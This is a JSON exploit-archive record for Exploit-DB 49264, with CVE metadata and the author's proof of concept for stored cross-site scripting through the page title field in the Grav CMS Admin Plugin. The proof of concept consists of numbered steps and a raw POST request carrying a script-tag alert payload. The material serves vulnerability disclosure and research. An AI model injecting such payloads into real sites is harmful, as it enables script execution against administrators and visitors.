{"exploit":{"id":"EDB-49264","name":"Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Authenticated Stored Cross-Site Scripting (XSS)","description":"Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Authenticated Stored Cross-Site Scripting (XSS)","cves":["CVE-2020-36955"],"author":"Sagar Banwa","published":"2020-12-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49264","path":"exploits/php/webapps/49264.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49264.txt","vulnerabilities":[{"id":"CVE-2020-36955","state":"PUBLISHED","title":"Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting","titleSource":"CVE Program","description":"Grav CMS 1.6.30 with Admin Plugin 1.9.18 contains a persistent cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts through the page title field. Attackers can create a new page with a malicious script in the title, which will be executed when the page is viewed in the admin panel or on the site.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36955","cvss":{"version":"4.0","baseScore":5.1,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36955"},"updatedAt":"2026-03-05T01:27:07.199Z","retrievedAt":"2026-11-26T02:51:20.891Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49264.png?v=2","url":"https://exploitbin.com/exploits/EDB-49264","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49264/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49264/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting\n# Date: 13-12-2020\n# Exploit Author: Sagar Banwa\n# Vendor Homepage: https://getgrav.org/\n# Software Link: https://getgrav.org/downloads\n# Version: Grav v1.6.30 - Admin v1.9.18\n# Tested on: Windows 10/Kali Linux\n# Contact: https://www.linkedin.com/in/sagarbanwa/\n\nStep to reproduce :\n\n1) log in to the grav-admin panel\n2) Go to Pages\n3) Click on Add\n4) It will ask to Add Page\n5) fill the following details as below\n   Page Title : <script>alert(1337)</script>\n   Folder Name : sagar_Banwa\n   Parent Page : /(root)\n   Page Template : Default\n   Value : yes\n6) click on the Save button\n7) now Click on Pages again.\n8) your page name will be listed as <script>alert(1337)</script>\n9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up\n\n-------------------------------------\n\nPOST /grav-admin/admin/pages HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 230\nOrigin: http://127.0.0.1\nConnection: close\nReferer: http://127.0.0.1/grav-admin/admin/pages\nCookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22}\nUpgrade-Insecure-Requests: 1\n\ndata%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f\n\n-----------------------------","sha256":"000ed8e756088afac1a7bc6b2f606eb9c4376bdbdcf97d5a973afda49028d060","bytes":1926,"fetchedAt":"2026-11-26T22:06:04.900Z","encoding":"utf-8 (display only; download retains original bytes)"}